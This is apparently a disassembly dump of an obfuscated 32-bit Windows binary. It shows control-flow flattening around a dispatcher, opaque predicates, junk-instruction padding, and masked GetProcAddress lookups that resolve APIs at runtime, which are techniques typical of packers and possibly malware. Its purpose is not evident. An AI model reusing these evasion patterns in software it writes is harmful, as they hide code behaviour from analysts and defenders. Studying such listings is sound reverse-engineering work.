mov ecx, 0x28ff7aeb
cmove eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x24]
mov eax, 0x30d15c09
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xd1db1252
mov ecx, eax
and ecx, 0x40da1240
and edx, eax
not eax
and eax, 0x91010012
or ecx, eax
xor ecx, 0x40da1240
or edx, ecx
mov eax, edx
not eax
and edx, 0x93cf6301
and eax, 0x6c309cfe
or edx, eax
mov ecx, edx
xor ecx, 0x42147153
xor edx, 0xbdeb8eac
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0x74f85328
or esi, edx
mov edx, eax
and edx, 0x8b07acd7
or ecx, edx
mov edx, esi
not edx
and esi, 0x74f85328
or eax, edx
and edx, 0x8b07acd7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0xb6bca5d4
mov edx, eax
not edx
and ecx, eax
or eax, 0x49435a2b
and edx, 0x3424a180
mov esi, eax
and esi, 0x8adb4677
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7524b988
or eax, esi
and esi, 0x8adb4677
or ecx, esi
not eax
mov esi, 0xf6fbafdc
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x779a02f5
and ecx, 0x8865fd0a
or eax, ecx
cmp eax, 0xc126a721
sete ah
cmp dword [0x48f780], 0xa
setge al
mov edx, eax
inc dl
mov ecx, edx
or dl, ah
xor cl, ah
or ah, al
and al, cl
xor ah, 1
xor cl, 1
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
mov ah, al
xor ah, 1
xor cl, 1
and dl, ah
xor dl, 1
or dl, ah
mov ah, al
xor dl, 1
xor ah, cl
or dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x6491f47
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x6491f47
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x170], eax
mov eax, 0x6663fa66
jmp 0x401200
mov eax, 0xd7c7400c
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xdf7d83cd
and eax, 0x24c04601
mov edx, ecx
and edx, 0x20827c32
or ecx, 0x990c9088
or esi, edx
and ecx, 0xd92fb0de
mov edx, esi
xor esi, 0x1000
xor edx, 0x2100100
or eax, ecx
or esi, 0x40232056
and edx, 0x2100920
and esi, 0xd92fb0de
or edx, esi
mov esi, 0x94328cb1
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x99e809ca
and ecx, 0x6617f635
or eax, ecx
mov ecx, eax
xor eax, 0xfd0b6f9c
xor ecx, 0x2f49062
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x5a7f1e56
andn ecx, ecx, ecx
and edx, 0xa580e1a9
or eax, edx
xor eax, 0x5a7f1e56
or ecx, eax
setne dl
sete ah
cmp dword [0x48f780], 0xa
setge al
setl ch
mov cl, al
or ch, dl
or al, ah
mov edx, eax
xor cl, ah
or al, ch
and cl, ah
xor dl, ch
xor al, 1
or al, dl
xor cl, 1
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x434bb065
cmovne ecx, esi
test al, 1
mov esi, 0x434bb065
jmp 0x4116b7
cmp byte [ebp - 0xb3], 0
mov eax, 0xc3c3cf28
mov ecx, 0xcdb10b24
cmovne eax, ecx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
or edx, 1
mov ecx, eax
and eax, 1
not ecx
mov esi, edx
not esi
and edx, 0x40e549a6
or eax, esi
mov esi, 0x46511c8
and eax, 0xbf1ab659
or eax, edx
xor eax, 0xbf1ab659
or eax, ecx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x48f780], 0xa
mov cl, ah
setl al
setge ch
xor cl, ch
and dl, al
and ch, ah
or al, ah
or ch, dl
xor al, 1
mov edx, ecx
or al, ch
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xb6644d1a
cmovne ecx, esi
test al, al
mov esi, 0xb6644d1a
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x401200
mov eax, 0x5d03bfc3
jmp 0x401200
mov eax, 0xd022f60f
jmp 0x401200
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1f4], eax
mov eax, 0xe67fcf11
jmp 0x401200
mov eax, dword [ebp - 0x1f4]
mov ecx, 0x7b2ed99f
cmp dword [eax], 0
mov eax, 0x58a0f8bc
cmove eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xad3c5200
mov eax, edx
and eax, 0x683f6db6
and ecx, edx
not edx
and edx, 0x97c09249
mov esi, ecx
not esi
and ecx, 0x81e79b27
or eax, edx
mov edx, eax
xor eax, 0x85001200
xor edx, 0x240000
or eax, 0x52c3adff
and edx, 0x81241200
mov edi, eax
or eax, esi
and edi, 0x7e1864d8
and esi, 0x7e1864d8
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa3e51245
and ecx, 0x5c1aedba
or eax, ecx
mov ecx, eax
xor ecx, 0xed94045
mov esi, eax
xor esi, 0x1802
xor eax, 0x5f51803
mov edx, ecx
or edx, 0xf4d3a7b9
and eax, ecx
and esi, 0x85842
and ecx, 0xfffffffe
mov edi, edx
and edi, 0xcb648025
or esi, edi
mov edi, eax
not edi
and eax, 0x349b7fda
or edx, edi
and edi, 0xcb648025
or eax, edi
not edx
mov edi, 0x2e96d61e
xor eax, esi
mov esi, 0x338b6960
or edx, eax
mov eax, edx
not eax
and edx, 0x8ef46805
and eax, 0x710b97fa
or edx, eax
xor edx, 0x85d83042
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5b2d2641
and eax, 0xa4d2d9be
or ecx, eax
mov eax, ecx
xor eax, 0x19002600
xor ecx, 0xa0909930
and ecx, 0xe2bd9971
and eax, 0x1d42668e
or eax, ecx
xor eax, 0xe2bd9971
sete ah
setne dl
cmp dword [0x48f780], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x2e96d61e
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xe1880610
and ecx, 0x27791ef
and eax, 0x1c006800
or edx, eax
xor edx, 0xe1880610
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xad0b9f5d
and eax, 0x52f460a2
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xaf7c0eb2
xor ecx, 0x971aa88b
xor esi, 0x5083f14d
and ecx, eax
mov ebx, esi
and ebx, 0x20640618
and esi, 0x285d6895
mov edx, ecx
not edx
and ecx, 0x25f50e9c
mov edi, edx
and edi, 0xda0af163
or ecx, edi
mov edi, eax
or edi, 0xc79959c6
or edx, edi
and edi, 0xda0af163
or ebx, edi
not edx
xor ebx, ecx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0xc79959c7
and ecx, 0x3866a638
or edx, ecx
mov ecx, eax
and ecx, 0xd7a2976a
and eax, 1
or ecx, esi
xor ecx, 0x285d6894
or eax, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2082300
and eax, 0x45103a
mov edx, ecx
or edx, 0x80204441
and esi, 0x82286741
and ecx, 0x7d928884
and edx, 0x82286741
or ecx, esi
mov esi, 0xc86ae677
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x80ab014d
and ecx, 0x7f54feb2
or eax, ecx
xor eax, 0x7d19cd88
setne dl
sete al
cmp dword [0x48f780], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0x9ee6a82c
mov al, dl
xor al, ah
test dl, dl
mov edx, 0x9ee6a82c
cmovne ecx, esi
test ah, 1
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x401200
mov ecx, dword [0x48f784]
mov edi, 0x6ef36f18
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc090326e
and eax, 0x528b041
mov edx, ecx
and edx, 0x3f6fcd91
or ecx, 0x2010048e
or esi, edx
and ecx, 0x685005ae
mov edx, esi
xor esi, 0x20000480
xor edx, 0x80800200
or eax, ecx
or esi, 0x48400120
and edx, 0x92874a10
and esi, 0x685005ae
or edx, esi
mov esi, 0xbba91d44
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc98c2b58
and ecx, 0x3673d4a7
or eax, ecx
mov ecx, eax
xor eax, 0x84e49a38
xor ecx, 0x7b1b65c6
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xb5196c72
andn ecx, ecx, ecx
and edx, 0x4ae6938d
or eax, edx
xor eax, 0xb5196c72
or ecx, eax
setne cl
sete dl
cmp dword [0x48f780], 0xa
setge al
setl ah
mov ch, al
and cl, ah
xor ch, dl
and ch, al
and al, dl
xor dl, ah
or al, cl
xor dl, 1
or al, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
mov edx, 0x6ef36f18
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x70e46065
mov edi, edx
mov esi, ecx
and esi, 0x499cedc9
and edi, 0x86031212
and edx, 0xafd049fb
or edi, esi
mov esi, eax
xor esi, 0x8f1b9f9a
and esi, eax
and eax, 0x502fb604
mov ebx, esi
not ebx
and esi, 0xb6631236
or eax, edx
or ecx, ebx
and ebx, 0x499cedc9
xor eax, 0x502fb604
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2991215f
and esi, 0xd66edea0
or ecx, esi
xor ecx, 0x5975413b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc2b07a9b
and ecx, 0x3d4f8564
or eax, ecx
xor eax, 0xc2b07a9b
setne dl
sete al
cmp dword [0x48f780], 0xa
setge cl
mov ah, cl
xor al, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
or cl, ah
xor dl, cl
or cl, al
mov eax, 0xebe3824e
xor dl, 1
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0xfc54af0
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xebe3824e
cmove eax, edx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x960650ea
and eax, 0x69f9af15
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x69f9af15
mov edi, esi
and edi, 0x960650ea
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xd033942c
setne al
sete dl
cmp dword [0x48f780], 0xa
setl ch
setge ah
and al, ch
and ah, dl
mov cl, ch
xor ch, dl
or al, ah
or cl, dl
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
mov dl, ah
mov ch, ah
xor ah, cl
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
xor dl, cl
xor cl, 1
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa5e4f6c5
cmovne eax, esi
test dl, 1
mov edx, 0xa5e4f6c5
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xda341131
and eax, ecx
not ecx
and ecx, 0xda341131
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc04a7ba
and ecx, 0xf3fb5845
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x29cf4974
xor edx, 0xd630b68b
xor eax, 0x42abc037
mov esi, ecx
and eax, edx
and esi, 0x949b76bc
and edx, 0x43906c45
or eax, esi
mov esi, eax
not esi
and eax, 0xe2dccdda
and esi, 0x1d233225
or eax, esi
mov esi, ecx
and esi, 0xbc6f93ba
and ecx, 1
or esi, edx
xor eax, 0x7647bb67
xor esi, 0x43906c44
or ecx, esi
mov esi, 0xba0beb9f
not ecx
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete dl
cmp dword [0x48f780], 0xa
setge al
setl ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
mov edx, eax
xor dl, 1
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
mov ah, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
xor dl, cl
or cl, al
mov eax, 0x15bb4ec1
xor cl, 1
or cl, dl
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x15bb4ec1
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, 0xfc87e58c
jmp 0x401200
mov eax, 0x8f1f0ce9
jmp 0x401200
mov eax, dword [ebp - 0x58]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xf6b075ec
mov edx, eax
not edx
and ecx, eax
or eax, 0x94f8a13
and edx, 0x32a045cc
mov esi, eax
and esi, 0xcc1d3222
or edx, esi
mov esi, ecx
not esi
and ecx, 0x33e2cddd
or eax, esi
and esi, 0xcc1d3222
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd456b160
and ecx, 0x2ba94e9f
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x22028008
xor esi, 0xdd193b73
xor eax, 0x20a0c00c
mov ecx, esi
or ecx, 1
and esi, 0xcf55cb7
and edx, 0xf30aa348
and eax, 0xb0a1e20c
or edx, esi
mov esi, ecx
and esi, 0x4f5e1df2
or eax, esi
mov esi, edx
xor esi, 0xb000a209
xor edx, 0xcf55cb6
or ecx, edx
and edx, 0x4f5e1df2
and esi, 0xb0a1e20d
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x6db13f90
mov eax, ecx
xor eax, 0xbeca9c7d
mov edx, ecx
and edx, 0x8c29841
and eax, ecx
not ecx
and ecx, 0xb608043c
or edx, ecx
xor edx, 0x8c29841
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8b23ab9d
and ecx, 0x74dc5462
or eax, ecx
mov ecx, eax
xor ecx, 0x25813560
xor eax, 0xca124017
and ecx, 0x2585bd68
and eax, 0xda7a4297
or eax, ecx
xor eax, 0xda7a4297
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xfc962fcc
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
test ah, 1
cmove edx, ecx
mov eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
add eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov ecx, dword [eax + ecx*4]
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xffff0000
and edx, 0xffff0000
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
mov ecx, dword [ebp - 0x50]
or eax, esi
not eax
or eax, edx
not eax
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, 0x6c7e12b0
jmp 0x401200
mov eax, dword [ebp - 0xc8]
mov eax, dword [0x48f784]
mov esi, 0xfdb2d433
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x261046f2
and ecx, 0xd9efb90d
or ecx, edx
mov eax, ecx
mov edx, ecx
xor ecx, 0xc82a290d
xor eax, 0x261046f2
xor edx, 0x261046f3
and edx, eax
and ecx, 0xca3a29df
and eax, 0x35c5d620
or eax, ecx
xor eax, 0x35c5d621
or eax, edx
mov ecx, eax
not ecx
and eax, 0x964c92d0
and ecx, 0x69b36d2f
or eax, ecx
cmp eax, 0x964c92d0
sete cl
cmp dword [0x48f780], 0xa
setl dl
mov eax, edx
or dl, cl
xor al, cl
xor dl, 1
or dl, al
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
mov edx, 0x274aecf3
cmovne edx, esi
test al, al
mov eax, 0x274aecf3
jmp 0x410365
mov eax, 0x2f30ca77
jmp 0x401200
mov eax, 0x41e2021d
jmp 0x401200
mov eax, 0xddc89ac
jmp 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, 0x550f99e3
jmp 0x401200
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, 0x6c5289a3
jmp 0x401200
mov eax, dword [ebp - 0x64]
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xbbcd55e9
mov esi, eax
and esi, 0x4432aa16
and eax, 0x73d8f9bc
or edx, esi
mov esi, edx
xor edx, 0x4432aa16
xor esi, 0x88c15148
or edx, 1
and esi, 0x8cf1f14c
mov edi, edx
and edi, 0x730e0eb2
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x8c270643
mov ebx, edi
not ebx
and edi, 0x8cf1f14d
or eax, ecx
or edx, ebx
and ebx, 0x730e0eb2
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x73d8f9bc
mov edi, esi
and edi, 0x8c270643
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x8d1373a7
xor eax, 0xffffffff
setne ah
sete cl
cmp dword [0x48f780], 0xa
setl dl
setge al
xor dl, cl
mov ch, dl
and ch, cl
or cl, al
xor cl, 1
or cl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x93bef1fe
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x410aaa
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xe61da228
mov ecx, esi
and ecx, 0x19e25dd6
and esi, 0x50dadc29
or edx, ecx
mov ecx, eax
and ecx, 1
and eax, 0xaf2523d6
xor edx, 0xe61da228
or eax, esi
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x4af37fc6
and edx, 0xb50c8039
or edx, esi
mov esi, eax
xor esi, 0xa5040010
xor eax, 0x50dadc29
or ecx, eax
and eax, 0x4af37fc6
and esi, 0xb50c8039
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xf0f74a94
cmp ecx, 0xffffffff
setne al
cmp dword [0x48f780], 0xa
setge ch
setl ah
mov cl, ch
and ah, al
or cl, al
inc al
and al, ch
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and cl, al
not ah
and ah, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x1968be0
cmovne edx, esi
test al, al
mov eax, 0x1968be0
jmp 0x410365
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, 0x6b3f975d
jmp 0x401200
mov eax, 0xc3c3cf28
jmp 0x401200
mov eax, 0xdf6a5733
jmp 0x401200
push 0x400
push dword [ebp - 0x1b8]
push dword [ebp - 0x1b4]
vzeroupper
call fcn.004326e0
add esp, 0xc
sbb ebx, 0x3b
ror eax, 0x80
rcr edx, 0xee
mov eax, 0xbe
inc edx
dec esi
rol eax, 0x84
and edx, 0x12
and esi, 0x2c
not ebx
imul edi
sbb edx, 0xe5
sub edx, 0x4e
neg edi
mov edx, 0x92
not edx
bswap edi
dec edi
and esi, 0x1a
imul ebx
rol edx, 0x30
bswap ebx
add ebx, 0x57
bswap edi
add edi, 0x99
not edi
dec ebx
bswap edx
rcl esi, 0xe6
rcr esi, 0xb4
neg ebx
neg eax
dec esi
imul ebx
sbb ebx, 0x22
imul edx
bswap ebx
neg ebx
neg edi
rcl eax, 0xcd
add edi, 0x4c
neg edx
inc eax
bswap esi
dec esi
rol ebx, 0x63
inc esi
dec edx
not ebx
bswap ebx
add eax, 0x7e
neg eax
bswap eax
add eax, 0xb0
and esi, 0xa6
bswap ebx
dec edx
rcr edx, 0xb4
rol edx, 0xee
inc esi
mov ebx, 0x2a
rcr esi, 0x32
ror edx, 0xf3
mov edx, 0x97
bswap edx
rcr eax, 0xe
inc eax
imul edx
not edx
dec esi
rcr esi, 0xda
and eax, 0x87
and esi, 0x50
rol esi, 0x61
add eax, 0xab
add esi, 0x67
rcr ebx, 0xe0
rcr edx, 0x86
mov esi, 0xfa
mov ebx, 0x86
sub ebx, 0x6a
and edi, 0xca
rcl edx, 0xdf
dec edi
bswap eax
rcr esi, 0x93
sub edi, 0xdc
rol ebx, 0xb
mov edi, 0x83
sbb esi, 0x46
sbb eax, 0x27
sub ebx, 0x80
imul esi
sbb edi, 0x19
not esi
bswap esi
rol esi, 0xa0
not esi
rol esi, 0x4f
neg edx
add edi, 0xa3
or ebx, 0xa3
imul eax
not eax
ror ebx, 0xf6
sub edi, 0x3d
rcr esi, 0xad
not esi
rol ebx, 0xda
ror esi, 0x8f
add edi, 0xd3
not edx
not edx
dec eax
add eax, 0xda
neg ebx
ror edx, 0xf2
and edi, 0xd3
and ebx, 0xbd
dec edx
not eax
not eax
imul ebx
rcl ebx, 0x7d
dec edi
not edi
rcr ebx, 0x9f
add edx, 0x91
mov edx, 0x6e
rcl edi, 0xa
dec ebx
bswap eax
imul ebx
imul esi
sub esi, 0xfd
ror edx, 0xd9
dec ebx
inc edi
rcr edx, 0xa6
and esi, 0x1c
rcr edi, 0xce
sub ebx, 0x29
or edi, 0x5d
not edx
not eax
neg edx
dec esi
ror ebx, 0xd1
not edx
dec ebx
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x78], eax
mov eax, 0xa4d986e5
jmp 0x401200
mov eax, 0xee4abcd3
jmp 0x401200
mov eax, 0x2140aae8
jmp 0x401200
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x130], eax
mov eax, 0x95a7028b
jmp 0x401200
mov eax, 0x2693886a
jmp 0x401200
mov eax, dword [ebp - 0x108]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x153f8cce
mov esi, edx
and esi, 0xaac07331
and edx, 0x8734c38f
or esi, ecx
mov ecx, eax
or ecx, 0x153f8cce
and eax, 0x78cb3c70
and ecx, 0x553f8cce
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x78cb3c70
xor eax, 0x8734c38f
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
mov ecx, dword [0x48f784]
setne byte [ebp - 0xb1]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x3f7e5830
mov ecx, edx
and ecx, 0xc081a7ce
and edx, 0xadb77013
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0x3f7e5830
and eax, 0x52488fec
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xd4966975
mov esi, edx
and esi, 0x2b69968a
or ecx, esi
mov esi, eax
xor esi, 0x50000964
xor eax, 0x29211002
and eax, 0x2b69968a
and esi, 0xd4966975
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x41825f5b
setne al
sete cl
cmp dword [0x48f780], 0xa
setl ch
setge ah
mov dl, ch
and al, ch
and ah, cl
xor ch, cl
or dl, cl
or al, ah
xor dl, 1
xor al, 1
or dl, ch
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
mov edx, 0xf3fd730
cmovne edx, esi
test al, al
mov eax, 0xf3fd730
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x9c72b917
mov ecx, eax
and ecx, 0x14128100
and edx, eax
not eax
and eax, 0x88603817
or ecx, eax
xor ecx, 0x14128100
or edx, ecx
mov eax, edx
not eax
and edx, 0xf1995453
and eax, 0xe66abac
or edx, eax
mov ecx, edx
xor ecx, 0x6debed44
xor edx, 0x921412bb
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0x7ed27548
or esi, edx
mov edx, eax
and edx, 0x812d8ab7
or ecx, edx
mov edx, esi
not edx
and esi, 0x7ed27548
or eax, edx
and edx, 0x812d8ab7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x877eb62a
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa85c7336
andn eax, eax, eax
and edx, 0x57a38cc9
or ecx, edx
xor ecx, 0xa85c7336
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb8fab951
and ecx, 0x470546ae
or ecx, eax
xor ecx, 0x470546ae
sete dl
setne ah
cmp dword [0x48f780], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ebx, edx
xor bl, al
test al, al
mov eax, 0xb41e6a87
cmovne eax, esi
test dl, dl
not bl
mov edx, 0xb41e6a87
cmovne eax, esi
test bl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x17c], eax
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x6ff42043
mov eax, ecx
and ecx, 0x900bdfbc
and eax, 0xfffffffe
or ecx, edx
xor ecx, 0x900bdfbd
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x81882622
and ecx, 0x7e77d9dd
or eax, ecx
mov ecx, eax
xor ecx, 0x800022
xor eax, 0x7e77d9dd
mov esi, eax
and esi, 0xe3583ed4
and ecx, 0x1ca7c12b
or ecx, esi
mov esi, edx
not esi
and edx, 0x1ca7c12b
or eax, esi
and esi, 0xe3583ed4
or edx, esi
not eax
mov esi, 0x27b68544
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9c8466bb
and ecx, 0x637b9944
or eax, ecx
mov ecx, eax
xor ecx, 0xc042221
xor eax, 0x501840
and eax, 0x90d05cda
and ecx, 0x6f2fa325
or ecx, eax
mov eax, ecx
